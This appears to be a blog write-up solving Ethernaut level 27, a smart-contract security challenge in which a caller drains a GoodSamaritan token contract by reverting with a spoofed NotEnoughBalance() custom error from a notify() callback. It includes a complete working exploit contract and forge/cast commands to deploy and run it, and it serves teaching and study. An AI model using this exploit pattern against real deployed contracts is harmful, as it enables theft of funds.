# Ethernaut Level 27 - Good Samaritan

## Objectives
There's a `GoodSamaritan` contract that holds a lot of tokens and donates 10 tokens to anyone who requests. Our goal is to drain the contract of all the tokens it holds by exploiting something called custom errors that were recently introduced in Solidity. 
Since the aftermath of the last level, I'm so glad they gave us an easy one this time.

---

## Analysis

In this level, there are 3 contracts. `GoodSamaritan` is the one with which we'll be interacting. We can verify this by executing `contract.abi` in the console.

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1666023662824/JtgglpDEM.png align="left")

Let's go through the contracts. 

### Wallet

```solidity
contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}
```
* The wallet defines two custom errors at the top which it's using inside the revert statements. 
* The function `donate10()` is the one that is called to donate 10 coins to the requestor. It checks the balance of the contract (`GoodSamaritan`) before the transfer and reverts with a custom error (`NotEnoughBalance()`) if it's less than 10. Else, it just transfers 10 coins. 
* Function `transferRemainder()` transfers all the coins stored in the contract to the requestor. We need to somehow trigger this function. 
* Both of the functions described above are `onlyOwner` allowing only the owner to call them. The owner will be `GoodSamaritan` contract in this case. 

---

### Coin

```solidity
contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}
```
* The Coin contract adds a million coins to the balance of the `GoodSamaritan` contract inside the constructor. 
* The `transfer` function is important here. It is doing it's regular validations, decreasing the amount from the sender and increasing the destination's amount. But there's one specific validation that stands out - `if(dest_.isContract())`. This is checking if the address that requested the donation is a contract and calling the `notify()` function on the address, i.e., `dest_` contract. Since we control the requestor address, we can create a contract on that address and probably control the execution flow after the `INotifyable(dest_).notify(amount_)` is called. 

---

### GoodSamaritan

```solidity
contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}
```
* The contract is deploying new instances of the `Wallet` and `Coin` contracts. 
* The function `requestDonation()` is of interest here. We can call this function externally. Note that this whole thing is inside a `try` and `catch` block. 
    * The `try` block is executing the `wallet.donate10(msg.sender)` call with `msg.sender` being anyone who called the function.     
    * The `catch` block is validating if the error thrown as a result of an error with the `try` block matches with the string of the custom error message `NotEnoughBalance()`. If it does match, then the wallet will transfer all the amount to us. This is what we need to achieve. 

---

## The Attack Flow

Let's take a few steps back and trace what happens when we call the `requestDonation()` function:
1. We made a call to `requestDonation()` and the execution flow goes to `wallet.donate10(msg.sender)`. 
2. The wallet contract calls `coin.transfer()` if everything goes well. 
3. The `coin.transfer()` function does the necessary calculations, checks if our address is a contract, and then calls a `notify()` function on our address. 
4. This is where we attack. We create a `notify()` function in our contract and make it revert a custom error with the name `NotEnoughBalance()`. This will trigger the error in the `GoodSamaritan.requestDonation()` function and the `catch()` block will be triggered transferring us all the tokens. 
5. But wait, there's another catch. Transferring all the tokens won't work because our contract will just revert the transaction. To counter this, we will need to add another condition to our `notify()` function to check if the `amount <= 10`, and then only revert. 

---

## The Exploit

Here's how our [exploits code](https://github.com/az0mb13/ethernaut-foundry/blob/master/src/level27.sol) looks like:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../instances/Ilevel27.sol";

contract BadSamaritan {

    error NotEnoughBalance();
    
    GoodSamaritan goodsamaritan  = GoodSamaritan(0xcf2e93212faddDeB5ca99606104Be3Bae28e27A4); //ethernaut instance address
    function attax() external {
        goodsamaritan.requestDonation();
    }

    function notify(uint256 amount) external pure {
        if (amount <= 10) {
            revert NotEnoughBalance();
        }
    }
}
```

* The `attax()` function is just for calling the `requestDonation()` to trigger the initial transfer. 
* The transfer will then call our `notify()` function and since the amount will be 10, it'll revert. 
* The revert will then trigger the `catch` block in `requestDonation()` and will transfer all the tokens to us. 
* This time our `notify()` won't revert due to the `if` condition. 

Let's deploy our contract using the following command:

```
forge create BadSamaritan --private-key $PKEY --rpc-url $RPC_URL
```

Now to call the `attax()` function:
```
cast send 0xb5daE871ADAFD33ee4B6Bf782a30b238902715F6 "attax()" --private-key $PKEY --rpc-url $RPC_URL --gas-limit 1000000
```
> I specified a large gas limit because the transaction kept failing. 

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1666028158140/OmJ1qFXoC.png align="left")

The instance can now be submitted to finish the level. 

> My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

> My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

---

## Takeaways
It is a really bad idea to give execution control to the hands of any external user and then use any dependent condition based on the external factor to decide a critical logic in the contract. 
